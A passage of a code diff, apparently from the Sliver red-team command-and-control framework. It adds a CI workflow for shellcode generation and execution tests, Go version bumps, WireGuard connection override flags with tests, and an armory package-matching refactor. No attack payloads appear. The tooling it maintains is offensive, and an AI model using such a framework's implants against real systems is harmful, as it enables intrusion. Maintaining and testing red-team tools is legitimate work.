||||
run: go run -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: windows
|
||||
run: go build -mod=vendor -trimpath -tags go_sqlite,server -o sliver-server.exe ./server
|
||||
|
||||
- name: Build Reflektor integration driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: windows
|
||||
run: go build -mod=vendor -trimpath -tags client,go_sqlite -o sliver-reflektor-e2e.exe ./test/reflektor
|
||||
|
||||
- name: Load Sliver with Reflektor
|
||||
run: >-
|
||||
./sliver-reflektor-e2e.exe
|
||||
-repo .
|
||||
-server ./sliver-server.exe
|
||||
-target-os windows
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
@@ -0,0 +1,201 @@
|
||||
name: Shellcode E2E Test Matrix
|
||||
|
||||
on:
|
||||
workflow_call:
|
||||
outputs:
|
||||
shellcode_coverage_markdown:
|
||||
description: Shellcode E2E coverage table in Markdown
|
||||
value: ${{ jobs.aggregate.outputs.shellcode_coverage_markdown }}
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
target:
|
||||
name: shellcode-e2e-${{ matrix.target_os }}-${{ matrix.target_arch }}
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 360
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: macos-26
|
||||
target_os: darwin
|
||||
target_arch: arm64
|
||||
server_os: darwin
|
||||
server_arch: arm64
|
||||
server_executable: ./sliver-server
|
||||
test_executable: ./sliver-shellcode-e2e
|
||||
- runner: ubuntu-24.04
|
||||
target_os: linux
|
||||
target_arch: amd64
|
||||
server_os: linux
|
||||
server_arch: amd64
|
||||
server_executable: ./sliver-server
|
||||
test_executable: ./sliver-shellcode-e2e
|
||||
- runner: ubuntu-24.04-arm
|
||||
target_os: linux
|
||||
target_arch: arm64
|
||||
server_os: linux
|
||||
server_arch: arm64
|
||||
server_executable: ./sliver-server
|
||||
test_executable: ./sliver-shellcode-e2e
|
||||
- runner: windows-2022
|
||||
target_os: windows
|
||||
target_arch: amd64
|
||||
server_os: windows
|
||||
server_arch: amd64
|
||||
server_executable: ./sliver-server.exe
|
||||
test_executable: ./sliver-shellcode-e2e.exe
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Prepare target artifact
|
||||
run: |
|
||||
mkdir -p shellcode-results
|
||||
printf '%s/%s\n' \
|
||||
'${{ matrix.target_os }}' \
|
||||
'${{ matrix.target_arch }}' \
|
||||
> 'shellcode-results/target-${{ matrix.target_os }}-${{ matrix.target_arch }}.txt'
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -buildvcs=false -mod=vendor -trimpath ./util/cmd/assets
|
||||
|
||||
- name: Build unmodified Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: ${{ matrix.server_os }}
|
||||
run: >-
|
||||
go build -buildvcs=false -mod=vendor -trimpath -tags go_sqlite,server
|
||||
-o ${{ matrix.server_executable }} ./server
|
||||
|
||||
- name: Compile shellcode E2E client
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.target_arch }}
|
||||
GOOS: ${{ matrix.target_os }}
|
||||
run: >-
|
||||
go test -c -buildvcs=false -mod=vendor -trimpath -tags client,go_sqlite
|
||||
-o ${{ matrix.test_executable }} ./test/e2e
|
||||
|
||||
- name: Run shellcode generation and execution tests
|
||||
run: >-
|
||||
${{ matrix.test_executable }}
|
||||
-test.v
|
||||
-test.run=^TestShellcodeE2E$
|
||||
-test.timeout=0
|
||||
-repo .
|
||||
-server ${{ matrix.server_executable }}
|
||||
-server-arch ${{ matrix.server_arch }}
|
||||
-target-os ${{ matrix.target_os }}
|
||||
-target-arch ${{ matrix.target_arch }}
|
||||
-results ./shellcode-results
|
||||
-transports mtls,wg,http
|
||||
-implant-modes session,beacon
|
||||
-beacon-interval 10s
|
||||
-shellcode-sgn-samples 4
|
||||
|
||||
- name: Upload target shellcode results
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: shellcode-e2e-target-${{ matrix.target_os }}-${{ matrix.target_arch }}
|
||||
path: shellcode-results
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
|
||||
aggregate:
|
||||
name: Aggregate shellcode E2E coverage
|
||||
needs: target
|
||||
if: ${{ always() }}
|
||||
outputs:
|
||||
shellcode_coverage_markdown: ${{ steps.publish_shellcode_coverage.outputs.shellcode_coverage_markdown }}
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 30
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Prepare aggregate artifact
|
||||
run: |
|
||||
mkdir -p shellcode-input shellcode-summary
|
||||
printf 'Shellcode E2E coverage aggregate\n' > shellcode-summary/README.txt
|
||||
|
||||
- name: Download target shellcode results
|
||||
continue-on-error: true
|
||||
uses: actions/download-artifact@v8
|
||||
with:
|
||||
pattern: shellcode-e2e-target-*
|
||||
path: shellcode-input
|
||||
merge-multiple: true
|
||||
|
||||
- name: Aggregate shellcode coverage
|
||||
id: aggregate
|
||||
continue-on-error: true
|
||||
run: >-
|
||||
go run -buildvcs=false -mod=vendor -trimpath ./test/e2e/shellcode-report
|
||||
-input ./shellcode-input
|
||||
-output ./shellcode-summary
|
||||
|
||||
- name: Publish shellcode coverage table
|
||||
id: publish_shellcode_coverage
|
||||
if: ${{ always() }}
|
||||
run: |
|
||||
report="shellcode-summary/shellcode-coverage.md"
|
||||
if [[ ! -s "${report}" ]]; then
|
||||
printf 'Shellcode coverage report is missing or empty: %s\n' "${report}" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
delimiter="SHELLCODE_E2E_COVERAGE_EOF"
|
||||
if grep -Fxq "${delimiter}" "${report}"; then
|
||||
printf 'Shellcode coverage report contains the reserved output delimiter: %s\n' "${delimiter}" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
{
|
||||
printf 'shellcode_coverage_markdown<<%s\n' "${delimiter}"
|
||||
cat "${report}"
|
||||
printf '%s\n' "${delimiter}"
|
||||
} >> "${GITHUB_OUTPUT}"
|
||||
|
||||
cat "${report}" >> "${GITHUB_STEP_SUMMARY}"
|
||||
|
||||
- name: Upload aggregate shellcode coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: shellcode-e2e-coverage-summary
|
||||
path: shellcode-summary
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 30
|
||||
|
||||
- name: Fail on failed or not-run shellcode coverage
|
||||
if: ${{ always() && steps.aggregate.outcome != 'success' }}
|
||||
run: exit 1
|
||||
@@ -6,6 +6,8 @@ on:
|
||||
paths:
|
||||
- "go.mod"
|
||||
- "go.sum"
|
||||
- ".gitattributes"
|
||||
- "client/command/opfor/testdata/corpus/**"
|
||||
- ".github/workflows/unit-tests.yml"
|
||||
- "Makefile"
|
||||
- "**/*.go"
|
||||
@@ -25,10 +27,10 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 180
|
||||
steps:
|
||||
- name: Go 1.26.6
|
||||
- name: Go 1.27.1
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "1.26.6"
|
||||
go-version: "1.27.1"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -71,10 +73,10 @@ jobs:
|
||||
runs-on: windows-latest
|
||||
timeout-minutes: 180
|
||||
steps:
|
||||
- name: Go 1.26.6
|
||||
- name: Go 1.27.1
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "1.26.6"
|
||||
go-version: "1.27.1"
|
||||
|
||||
- name: Install make
|
||||
run: choco install make -y --no-progress
|
||||
@@ -115,10 +117,10 @@ jobs:
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 180
|
||||
steps:
|
||||
- name: Go 1.26.6
|
||||
- name: Go 1.27.1
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "1.26.6"
|
||||
go-version: "1.27.1"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
@@ -153,10 +155,10 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.26.6
|
||||
- name: Go 1.27.1
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "1.26.6"
|
||||
go-version: "1.27.1"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
@@ -26,7 +26,7 @@ ifneq (,$(findstring cgo_sqlite,$(TAGS)))
|
||||
endif
|
||||
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 26
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 27
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
SLIVER_PUBLIC_KEY ?= RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
|
||||
|
||||
@@ -36,6 +36,7 @@ const (
|
||||
|
||||
// ClientWGConfig - Optional WireGuard wrapper configuration for multiplayer.
|
||||
type ClientWGConfig struct {
|
||||
Enabled bool `json:"enabled,omitempty"`
|
||||
ServerPubKey string `json:"server_pub_key"`
|
||||
ClientPrivateKey string `json:"client_private_key"`
|
||||
ClientPubKey string `json:"client_pub_key"`
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
package assets
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestClientWGConfigEnabledIsPositiveOptIn(t *testing.T) {
|
||||
legacyJSON := []byte(`{"wg":{"server_pub_key":"server-pub","client_private_key":"client-priv","client_ip":"100.64.0.2"}}`)
|
||||
legacy := &ClientConfig{}
|
||||
if err := json.Unmarshal(legacyJSON, legacy); err != nil {
|
||||
t.Fatalf("unmarshal legacy config: %v", err)
|
||||
}
|
||||
if legacy.WG == nil {
|
||||
t.Fatal("expected legacy WireGuard config")
|
||||
}
|
||||
if legacy.WG.Enabled {
|
||||
t.Fatal("expected an absent enabled marker to remain disabled")
|
||||
}
|
||||
|
||||
enabledJSON := []byte(`{"wg":{"enabled":true,"server_pub_key":"server-pub","client_private_key":"client-priv","client_ip":"100.64.0.2"}}`)
|
||||
enabled := &ClientConfig{}
|
||||
if err := json.Unmarshal(enabledJSON, enabled); err != nil {
|
||||
t.Fatalf("unmarshal enabled config: %v", err)
|
||||
}
|
||||
if enabled.WG == nil || !enabled.WG.Enabled {
|
||||
t.Fatal("expected enabled marker to opt in to WireGuard")
|
||||
}
|
||||
}
|
||||
+3
-1
@@ -52,7 +52,9 @@ func init() {
|
||||
|
||||
rootCmd.TraverseChildren = true
|
||||
rootCmd.Flags().String(RCFlagName, "", "path to rc script file")
|
||||
rootCmd.PersistentFlags().Bool(enableWGFlag, false, "connect to multiplayer through the operator config's WireGuard wrapper")
|
||||
rootCmd.PersistentFlags().Bool(enableWGFlag, false, "force multiplayer connections through the operator config's WireGuard wrapper")
|
||||
rootCmd.PersistentFlags().Bool(disableWGFlag, false, "force multiplayer connections to use direct mTLS")
|
||||
rootCmd.MarkFlagsMutuallyExclusive(enableWGFlag, disableWGFlag)
|
||||
|
||||
// Create the console client, without any RPC or commands bound to it yet.
|
||||
// This created before anything so that multiple commands can make use of
|
||||
|
||||
@@ -4,6 +4,7 @@ import (
|
||||
"bytes"
|
||||
"strings"
|
||||
"testing"
|
||||
"testing/synctest"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
@@ -52,6 +53,10 @@ func TestFormatConnectSpinnerMessage(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestConnectWithSpinnerOutput(t *testing.T) {
|
||||
synctest.Test(t, testConnectWithSpinnerOutput)
|
||||
}
|
||||
|
||||
func testConnectWithSpinnerOutput(t *testing.T) {
|
||||
var out bytes.Buffer
|
||||
spinnerDelay := 2 * (100 * time.Millisecond)
|
||||
|
||||
@@ -85,6 +90,10 @@ func TestConnectWithSpinnerOutput(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestConnectWithSpinnerFastSuccessStillShowsMultipleFrames(t *testing.T) {
|
||||
synctest.Test(t, testConnectWithSpinnerFastSuccessStillShowsMultipleFrames)
|
||||
}
|
||||
|
||||
func testConnectWithSpinnerFastSuccessStillShowsMultipleFrames(t *testing.T) {
|
||||
var out bytes.Buffer
|
||||
|
||||
_, _, err := connectWithSpinner(&out, "127.0.0.1:31337", func(statusFn transport.ConnectStatusFn) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
|
||||
@@ -108,6 +117,10 @@ func TestConnectWithSpinnerFastSuccessStillShowsMultipleFrames(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestConnectWithSpinnerFastSuccessShowsEachStatus(t *testing.T) {
|
||||
synctest.Test(t, testConnectWithSpinnerFastSuccessShowsEachStatus)
|
||||
}
|
||||
|
||||
func testConnectWithSpinnerFastSuccessShowsEachStatus(t *testing.T) {
|
||||
var out bytes.Buffer
|
||||
|
||||
_, _, err := connectWithSpinner(&out, "127.0.0.1:31337", func(statusFn transport.ConnectStatusFn) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
|
||||
|
||||
@@ -1,17 +1,20 @@
|
||||
package cli
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
const (
|
||||
enableWGFlag = "enable-wg"
|
||||
enableWGFlag = "enable-wg"
|
||||
disableWGFlag = "disable-wg"
|
||||
)
|
||||
|
||||
func applyMultiplayerConnectMode(cmd *cobra.Command) error {
|
||||
if cmd == nil {
|
||||
transport.SetMultiplayerConnectMode(transport.MultiplayerConnectDirect)
|
||||
transport.SetMultiplayerConnectMode(transport.MultiplayerConnectAuto)
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -19,10 +22,20 @@ func applyMultiplayerConnectMode(cmd *cobra.Command) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
disableWG, err := cmd.Flags().GetBool(disableWGFlag)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if cmd.Flags().Changed(enableWGFlag) && cmd.Flags().Changed(disableWGFlag) {
|
||||
return fmt.Errorf("--%s and --%s cannot be used together", enableWGFlag, disableWGFlag)
|
||||
}
|
||||
|
||||
mode := transport.MultiplayerConnectDirect
|
||||
if enableWG {
|
||||
mode := transport.MultiplayerConnectAuto
|
||||
switch {
|
||||
case enableWG:
|
||||
mode = transport.MultiplayerConnectEnableWG
|
||||
case disableWG:
|
||||
mode = transport.MultiplayerConnectDisableWG
|
||||
}
|
||||
transport.SetMultiplayerConnectMode(mode)
|
||||
return nil
|
||||
|
||||
@@ -0,0 +1,136 @@
|
||||
package cli
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func TestWireGuardOverrideFlagsDefaultToFalse(t *testing.T) {
|
||||
for _, name := range []string{enableWGFlag, disableWGFlag} {
|
||||
flag := rootCmd.PersistentFlags().Lookup(name)
|
||||
if flag == nil {
|
||||
t.Fatalf("expected --%s persistent flag", name)
|
||||
}
|
||||
if flag.DefValue != "false" {
|
||||
t.Fatalf("expected --%s to default to false, got %q", name, flag.DefValue)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyMultiplayerConnectModeDefaultsToAuto(t *testing.T) {
|
||||
resetMultiplayerConnectModeForTest(t)
|
||||
cmd := newTransportModeTestCommand()
|
||||
|
||||
if err := applyMultiplayerConnectMode(cmd); err != nil {
|
||||
t.Fatalf("apply multiplayer mode: %v", err)
|
||||
}
|
||||
if !transport.MultiplayerConnectUsesWireGuard(enabledWGClientConfig()) {
|
||||
t.Fatal("expected automatic mode to honor an explicitly enabled WireGuard config")
|
||||
}
|
||||
if transport.MultiplayerConnectUsesWireGuard(legacyWGClientConfig()) {
|
||||
t.Fatal("expected automatic mode to ignore a legacy WireGuard config without the opt-in marker")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyMultiplayerConnectModeEnableWGForcesLegacyConfig(t *testing.T) {
|
||||
resetMultiplayerConnectModeForTest(t)
|
||||
cmd := newTransportModeTestCommand()
|
||||
if err := cmd.Flags().Set(enableWGFlag, "true"); err != nil {
|
||||
t.Fatalf("set --%s: %v", enableWGFlag, err)
|
||||
}
|
||||
|
||||
if err := applyMultiplayerConnectMode(cmd); err != nil {
|
||||
t.Fatalf("apply multiplayer mode: %v", err)
|
||||
}
|
||||
if !transport.MultiplayerConnectUsesWireGuard(legacyWGClientConfig()) {
|
||||
t.Fatal("expected --enable-wg to force a complete legacy config through WireGuard")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyMultiplayerConnectModeDisableWGOverridesEnabledConfig(t *testing.T) {
|
||||
resetMultiplayerConnectModeForTest(t)
|
||||
cmd := newTransportModeTestCommand()
|
||||
if err := cmd.Flags().Set(disableWGFlag, "true"); err != nil {
|
||||
t.Fatalf("set --%s: %v", disableWGFlag, err)
|
||||
}
|
||||
|
||||
if err := applyMultiplayerConnectMode(cmd); err != nil {
|
||||
t.Fatalf("apply multiplayer mode: %v", err)
|
||||
}
|
||||
if transport.MultiplayerConnectUsesWireGuard(enabledWGClientConfig()) {
|
||||
t.Fatal("expected --disable-wg to force direct mTLS")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyMultiplayerConnectModeRejectsConflictingOverrides(t *testing.T) {
|
||||
resetMultiplayerConnectModeForTest(t)
|
||||
cmd := newTransportModeTestCommand()
|
||||
if err := cmd.Flags().Set(enableWGFlag, "true"); err != nil {
|
||||
t.Fatalf("set --%s: %v", enableWGFlag, err)
|
||||
}
|
||||
if err := cmd.Flags().Set(disableWGFlag, "true"); err != nil {
|
||||
t.Fatalf("set --%s: %v", disableWGFlag, err)
|
||||
}
|
||||
|
||||
err := applyMultiplayerConnectMode(cmd)
|
||||
if err == nil {
|
||||
t.Fatal("expected conflicting WireGuard overrides to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "cannot be used together") {
|
||||
t.Fatalf("unexpected conflict error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyMultiplayerConnectModeRejectsBothOverridesWhenExplicitlyFalse(t *testing.T) {
|
||||
resetMultiplayerConnectModeForTest(t)
|
||||
cmd := newTransportModeTestCommand()
|
||||
if err := cmd.Flags().Set(enableWGFlag, "false"); err != nil {
|
||||
t.Fatalf("set --%s: %v", enableWGFlag, err)
|
||||
}
|
||||
if err := cmd.Flags().Set(disableWGFlag, "false"); err != nil {
|
||||
t.Fatalf("set --%s: %v", disableWGFlag, err)
|
||||
}
|
||||
|
||||
err := applyMultiplayerConnectMode(cmd)
|
||||
if err == nil {
|
||||
t.Fatal("expected explicitly combining both WireGuard override flags to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "cannot be used together") {
|
||||
t.Fatalf("unexpected conflict error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func newTransportModeTestCommand() *cobra.Command {
|
||||
cmd := &cobra.Command{}
|
||||
cmd.Flags().Bool(enableWGFlag, false, "")
|
||||
cmd.Flags().Bool(disableWGFlag, false, "")
|
||||
return cmd
|
||||
}
|
||||
|
||||
func resetMultiplayerConnectModeForTest(t *testing.T) {
|
||||
t.Helper()
|
||||
transport.SetMultiplayerConnectMode(transport.MultiplayerConnectAuto)
|
||||
t.Cleanup(func() {
|
||||
transport.SetMultiplayerConnectMode(transport.MultiplayerConnectAuto)
|
||||
})
|
||||
}
|
||||
|
||||
func enabledWGClientConfig() *assets.ClientConfig {
|
||||
config := legacyWGClientConfig()
|
||||
config.WG.Enabled = true
|
||||
return config
|
||||
}
|
||||
|
||||
func legacyWGClientConfig() *assets.ClientConfig {
|
||||
return &assets.ClientConfig{
|
||||
WG: &assets.ClientWGConfig{
|
||||
ServerPubKey: "server-pub",
|
||||
ClientPrivateKey: "client-priv",
|
||||
ClientIP: "100.64.0.2",
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -487,10 +487,7 @@ func (m *aiModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
|
||||
if conversationContainsUserPrompt(m.currentConversation, m.pendingPrompt) {
|
||||
m.pendingPrompt = ""
|
||||
}
|
||||
m.selectedConversation = conversationIndexByID(m.conversations, selectedConversationID(msg.conversation, msg.selectedID))
|
||||
if m.selectedConversation < 0 {
|
||||
m.selectedConversation = 0
|
||||
}
|
||||
m.selectedConversation = max(conversationIndexByID(m.conversations, selectedConversationID(msg.conversation, msg.selectedID)), 0)
|
||||
m.invalidateTranscriptCache()
|
||||
if strings.TrimSpace(msg.status) != "" {
|
||||
m.status = msg.status
|
||||
@@ -3273,10 +3270,7 @@ func (m *aiModel) removeConversation(conversationID string) {
|
||||
}
|
||||
m.conversations = filtered
|
||||
|
||||
next := conversationIndexByID(m.conversations, m.selectedConversationID())
|
||||
if next < 0 {
|
||||
next = 0
|
||||
}
|
||||
next := max(conversationIndexByID(m.conversations, m.selectedConversationID()), 0)
|
||||
m.selectedConversation = next
|
||||
}
|
||||
|
||||
@@ -3683,10 +3677,7 @@ func (m *aiModel) applyConversationEvent(event *clientpb.AIConversationEvent) {
|
||||
}
|
||||
|
||||
if m.currentConversation != nil {
|
||||
m.selectedConversation = conversationIndexByID(m.conversations, m.currentConversation.GetID())
|
||||
if m.selectedConversation < 0 {
|
||||
m.selectedConversation = 0
|
||||
}
|
||||
m.selectedConversation = max(conversationIndexByID(m.conversations, m.currentConversation.GetID()), 0)
|
||||
}
|
||||
m.invalidateTranscriptCache()
|
||||
}
|
||||
@@ -5579,10 +5570,7 @@ func truncateToolCallContentLines(content string, maxLines int) (string, int) {
|
||||
}
|
||||
|
||||
truncated := strings.Join(lines[:maxLines], "\n")
|
||||
hiddenBytes := len(content) - len(truncated)
|
||||
if hiddenBytes < 0 {
|
||||
hiddenBytes = 0
|
||||
}
|
||||
hiddenBytes := max(len(content)-len(truncated), 0)
|
||||
return truncated, hiddenBytes
|
||||
}
|
||||
|
||||
@@ -5828,10 +5816,7 @@ func inputWindow(input []rune, cursor, width int) ([]rune, int) {
|
||||
|
||||
start := 0
|
||||
if len(input) > width {
|
||||
start = cursor - width + 1
|
||||
if start < 0 {
|
||||
start = 0
|
||||
}
|
||||
start = max(cursor-width+1, 0)
|
||||
if start > len(input)-width {
|
||||
start = len(input) - width
|
||||
}
|
||||
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"maps"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -37,7 +38,6 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
)
|
||||
|
||||
@@ -301,32 +301,44 @@ func getCommandsInCache(armoryPK string) []string {
|
||||
return commandNames
|
||||
}
|
||||
|
||||
func packageMatchesInstallName(cacheEntry pkgCacheEntry, name string) bool {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
return cacheEntry.Alias != nil && cacheEntry.Alias.CommandName == name
|
||||
}
|
||||
if cacheEntry.Extension == nil {
|
||||
return false
|
||||
}
|
||||
if cacheEntry.Pkg.CommandName == name || cacheEntry.Extension.PackageName == name {
|
||||
return true
|
||||
}
|
||||
for _, command := range cacheEntry.Extension.ExtCommand {
|
||||
if command.CommandName == name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func getPackagesWithCommandName(name, armoryPK, minimumVersion string) []*pkgCacheEntry {
|
||||
packages := []*pkgCacheEntry{}
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
if cacheEntry.Alias.CommandName == name {
|
||||
if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Alias.Version >= minimumVersion) {
|
||||
if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
|
||||
packages = append(packages, &cacheEntry)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for _, command := range cacheEntry.Extension.ExtCommand {
|
||||
if command.CommandName == name {
|
||||
if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Extension.Version >= minimumVersion) {
|
||||
if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
|
||||
packages = append(packages, &cacheEntry)
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if cacheEntry.LastErr != nil || !packageMatchesInstallName(cacheEntry, name) {
|
||||
return true
|
||||
}
|
||||
if armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey != armoryPK {
|
||||
return true
|
||||
}
|
||||
|
||||
packageVersion := ""
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
packageVersion = cacheEntry.Alias.Version
|
||||
} else {
|
||||
packageVersion = cacheEntry.Extension.Version
|
||||
}
|
||||
if minimumVersion == "" || packageVersion >= minimumVersion {
|
||||
packages = append(packages, &cacheEntry)
|
||||
}
|
||||
return true
|
||||
})
|
||||
@@ -336,7 +348,7 @@ func getPackagesWithCommandName(name, armoryPK, minimumVersion string) []*pkgCac
|
||||
|
||||
func getPackageIDFromUser(name string, options map[string]string) string {
|
||||
selectedPackageKey := ""
|
||||
optionKeys := util.Keys(options)
|
||||
optionKeys := slices.Collect(maps.Keys(options))
|
||||
slices.Sort(optionKeys)
|
||||
// Add a cancel option
|
||||
optionKeys = append(optionKeys, doNotInstallOption)
|
||||
@@ -732,9 +744,7 @@ func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clien
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear download message
|
||||
|
||||
extensions.InstallFromDir(tmpFileName, promptToOverwrite, con, true)
|
||||
|
||||
return nil
|
||||
return extensions.InstallFromDir(tmpFileName, promptToOverwrite, con, true)
|
||||
}
|
||||
|
||||
func writeArmoryTempFile(data []byte) (string, error) {
|
||||
|
||||
@@ -0,0 +1,218 @@
|
||||
package armory
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
)
|
||||
|
||||
func resetPackageCache(t *testing.T) {
|
||||
t.Helper()
|
||||
pkgCache.Range(func(key, _ any) bool {
|
||||
pkgCache.Delete(key)
|
||||
return true
|
||||
})
|
||||
t.Cleanup(func() {
|
||||
pkgCache.Range(func(key, _ any) bool {
|
||||
pkgCache.Delete(key)
|
||||
return true
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
func testExtensionCacheEntry() pkgCacheEntry {
|
||||
manifest := &extensions.ExtensionManifest{
|
||||
Name: "ADCS Request (Remote)",
|
||||
PackageName: "remote-adcs-package",
|
||||
Version: "v0.1.5",
|
||||
ArmoryName: "Default Armory",
|
||||
ArmoryPK: "armory-public-key",
|
||||
ExtCommand: []*extensions.ExtCommand{
|
||||
{CommandName: "remote-adcs-request"},
|
||||
{CommandName: "remote-adcs-request-on-behalf"},
|
||||
},
|
||||
}
|
||||
return pkgCacheEntry{
|
||||
ArmoryConfig: &assets.ArmoryConfig{PublicKey: "armory-public-key"},
|
||||
Pkg: ArmoryPackage{
|
||||
Name: "Remote ADCS package",
|
||||
CommandName: "remote-adcs-index",
|
||||
},
|
||||
Extension: manifest,
|
||||
ID: "remote-adcs-request-id",
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetPackageForCommandAcceptsStableExtensionIdentities(t *testing.T) {
|
||||
resetPackageCache(t)
|
||||
entry := testExtensionCacheEntry()
|
||||
pkgCache.Store(entry.ID, entry)
|
||||
|
||||
for _, name := range []string{
|
||||
"remote-adcs-index",
|
||||
"remote-adcs-request",
|
||||
"remote-adcs-request-on-behalf",
|
||||
"remote-adcs-package",
|
||||
} {
|
||||
t.Run(name, func(t *testing.T) {
|
||||
found, err := getPackageForCommand(name, "armory-public-key", "v0.1.5")
|
||||
if err != nil {
|
